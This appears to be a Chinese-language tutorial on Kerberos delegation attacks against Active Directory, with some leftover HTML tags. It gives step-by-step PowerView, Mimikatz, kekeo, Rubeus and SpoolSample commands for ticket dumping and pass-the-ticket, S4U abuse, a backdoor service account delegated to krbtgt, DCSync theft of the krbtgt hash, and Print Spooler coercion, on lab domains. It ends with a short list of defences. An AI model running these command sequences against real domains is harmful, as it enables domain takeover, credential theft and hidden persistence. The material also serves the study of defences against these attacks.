Kerberos委派攻击技术详解<\/h1>

1. Kerberos委派概述<\/h2>

Kerberos委派是Active Directory中的一项功能，允许服务代表用户访问其他服务。委派分为两种类型：<\/p>

非受限委派(Unconstrained Delegation)<\/strong>：服务可以代表用户访问任何其他服务<\/li>

受限委派(Constrained Delegation)<\/strong>：服务只能代表用户访问特定的服务<\/li> <\/ol>
2. 委派配置识别<\/h2>
2.1 识别非受限委派账户<\/h3>
使用PowerView工具识别非受限委派账户：<\/p>
# 识别非受限委派的用户账户<\/span> <\/span><\/span>Get-NetUser -Unconstrained -Domain lab.local <\/span><\/span> <\/span><\/span># 识别非受限委派的主机账户<\/span> <\/span><\/span>Get-NetComputer -Unconstrained -Domain lab.local <\/span><\/span><\/code><\/pre>2.2 识别受限委派账户<\/h3> # 识别受限委派的用户账户<\/span> <\/span><\/span>Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl <\/span><\/span> <\/span><\/span># 识别受限委派的主机账户<\/span> <\/span><\/span>Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl <\/span><\/span><\/code><\/pre>3. 非受限委派攻击<\/h2> 3.1 攻击原理<\/h3> 当服务配置了非受限委派时，它可以缓存用户的TGT票据。攻击者可以提取这些TGT，然后进行票据传递(Pass-the-Ticket)攻击。<\/p> 3.2 攻击步骤<\/h3> 在配置了非受限委派的服务主机上，使用Mimikatz提取内存中的票据：<\/li> <\/ol> mimikatz.exe "privilege::debug"<\/span> "sekurlsa::ticket \/export"<\/span> <\/span><\/span><\/code><\/pre> 将获取的TGT票据注入攻击者当前会话：<\/li> <\/ol> mimikatz.exe "kerberos::ptt [导出的TGT票据文件]"<\/span> <\/span><\/span><\/code><\/pre> 使用klist验证票据是否成功注入：<\/li> <\/ol> klist <\/span><\/span><\/code><\/pre> 利用注入的票据访问域控或其他资源：<\/li> <\/ol> dir \\DC2.lab.local\C$ <\/span><\/span>Enter-PSSession -ComputerName DC2.lab.local <\/span><\/span><\/code><\/pre>4. 受限委派攻击<\/h2> 4.1 攻击原理<\/h3> 当服务配置了受限委派时，攻击者可以利用服务账户的凭据(明文密码或NTLM Hash)伪造TGT，然后通过S4U扩展协议获取特定服务的TGS。<\/p> 4.2 攻击步骤<\/h3> 使用kekeo获取服务账户的TGT：<\/li> <\/ol> kekeo.exe "tgt::ask \/user:iis_svc \/domain:lab.local \/password:Passw0rd"<\/span> <\/span><\/span><\/code><\/pre>或使用NTLM Hash：<\/p> kekeo.exe "tgt::ask \/user:iis_svc \/domain:lab.local \/NTLM:a87f3a337d73085c45f9416be5787d86"<\/span> <\/span><\/span><\/code><\/pre> 使用S4U扩展协议获取目标服务的TGS：<\/li> <\/ol> kekeo.exe "tgs::s4u \/tgt:TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi \/user:Administrator@lab.local \/service:cifs\/DESKTOP-WIN10.lab.local"<\/span> <\/span><\/span><\/code><\/pre> 使用Mimikatz将TGS注入当前会话：<\/li> <\/ol> mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_cifs~DESKTOP-WIN10.lab.local@LAB.LOCAL.kirbi"<\/span> <\/span><\/span><\/code><\/pre> 访问目标服务：<\/li> <\/ol> dir \\DESKTOP-WIN10.lab.local\C$ <\/span><\/span><\/code><\/pre>5. 变种黄金票据攻击<\/h2> 5.1 攻击原理<\/h3> 利用受限委派账户向KDC自身申请一张域管理员访问krbtgt服务的票据，即TGT。<\/p> 注意<\/strong>：此攻击在Windows Server 2012及更高版本的域环境中可能不适用。<\/p> 5.2 攻击步骤<\/h3> 创建后门服务账户并配置委派：<\/li> <\/ol> New-ADUser -Name "Backdoor"<\/span> -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@dlive.com -ServicePrincipalNames "backdoor\/backdoor.dlive.com"<\/span> -AccountPassword (convertto-securestring "Dubhe@1234"<\/span> -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount <\/span><\/span> <\/span><\/span>$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"<\/span> <\/span><\/span>Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo"<\/span> = @("krbtgt\/DLIVE.COM"<\/span>) } <\/span><\/span>Set-ADAccountControl $user -TrustedToAuthForDelegation $true <\/span><\/span><\/code><\/pre> 获取服务账户的TGT：<\/li> <\/ol> kekeo.exe "tgt::ask \/user:backdoor_svc \/domain:dlive.com \/password:Dubhe@1234"<\/span> <\/span><\/span><\/code><\/pre> 获取域管理员访问krbtgt服务的TGS(TGT)：<\/li> <\/ol> kekeo.exe "tgs::s4u \/tgt:TGT_backdoor_svc@DLIVE.COM_krbtgt~dlive.com@DLIVE.COM.kirbi \/user:Administrator@dlive.com \/service:krbtgt\/DLIVE.COM"<\/span> <\/span><\/span><\/code><\/pre> 注入票据并访问域控：<\/li> <\/ol> mimikatz.exe "kerberos::ptt TGS_Administrator@dlive.com@DLIVE.COM_krbtgt~DLIVE.COM@DLIVE.COM.kirbi"<\/span> <\/span><\/span>klist <\/span><\/span>dir \\DC1.dlive.com\C$ <\/span><\/span><\/code><\/pre>6. 受限委派+DCSync攻击<\/h2> 6.1 攻击原理<\/h3> 利用受限委派获取ldap服务的票据，然后进行DCSync攻击获取krbtgt账户的Hash。<\/p> 6.2 攻击步骤<\/h3> 配置后门服务账户的委派：<\/li> <\/ol> Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo"<\/span> = @("ldap\/DC2.lab.local"<\/span>) } <\/span><\/span><\/code><\/pre> 获取服务账户的TGT：<\/li> <\/ol> kekeo.exe "tgt::ask \/user:backdoor_svc \/domain:dlive.com \/password:Dubhe@1234"<\/span> <\/span><\/span><\/code><\/pre> 获取域管理员访问ldap服务的TGS：<\/li> <\/ol> kekeo.exe "tgs::s4u \/tgt:TGT_backdoor_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi \/user:Administrator@lab.local \/service:ldap\/DC2.lab.local"<\/span> <\/span><\/span><\/code><\/pre> 注入票据并执行DCSync：<\/li> <\/ol> mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi"<\/span> <\/span><\/span>mimikatz.exe "lsadump::dcsync \/user:krbtgt \/domain:lab.local"<\/span> <\/span><\/span><\/code><\/pre>7. 非受限委派+Print Spooler攻击<\/h2> 7.1 攻击原理<\/h3> 利用Print Spooler服务的漏洞强制域控访问配置了非受限委派的主机，从而获取域控主机账户的TGT。<\/p> 7.2 攻击步骤<\/h3> 在非受限委派主机上启动Rubeus监听：<\/li> <\/ol> Rubeus.exe monitor \/interval:<\/span>5 \/filteruser:<\/span>DC2$ <\/span><\/span><\/code><\/pre> 强制域控Print Spooler服务访问非受限委派主机：<\/li> <\/ol> SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10 <\/span><\/span><\/code><\/pre> 从Rubeus输出中获取域控主机账户的TGT。<\/li> <\/ol> 8. 防御措施<\/h2> 禁用不必要的委派<\/strong>：仅为确实需要委派的服务账户启用委派<\/li> 使用受保护的用户组<\/strong>（Windows Server 2012 R2及更高版本）：成员无法使用NTLM认证<\/li> 无法使用DES或RC4加密套件进行Kerberos预认证<\/li> 无法被非受限或受限委派<\/li> 用户票据(TGT)的初始生命周期限制为4小时<\/li> <\/ul> <\/li> 实施最小权限原则<\/strong>：域管理员等高权限账户不应配置委派<\/li> 监控委派配置变更<\/strong>：审计对msDS-AllowedToDelegateTo属性的修改<\/li> 禁用不必要的服务<\/strong>：如Print Spooler服务<\/li> <\/ol> 9. 工具列表<\/h2> PowerView<\/strong>：用于枚举委派配置<\/li> Mimikatz<\/strong>：用于提取和注入Kerberos票据<\/li> kekeo<\/strong>：用于执行Kerberos协议操作<\/li> Rubeus<\/strong>：替代kekeo的C#工具，提供更多功能<\/li> SpoolSample<\/strong>：利用Print Spooler服务的工具<\/li> <\/ol> 10. 参考资源<\/h2> 无约束委派攻击<\/a><\/li> 约束委派相关协议<\/a><\/li> 基于域委派的变种黄金票据<\/a><\/li> Blackhat US 2015 - Active Directory攻击技术<\/a><\/li> Blackhat Asia 2017 - Kerberos委派攻击<\/a><\/li> Print Spooler攻击技术<\/a><\/li> 受保护的用户组<\/a><\/li> <\/ol>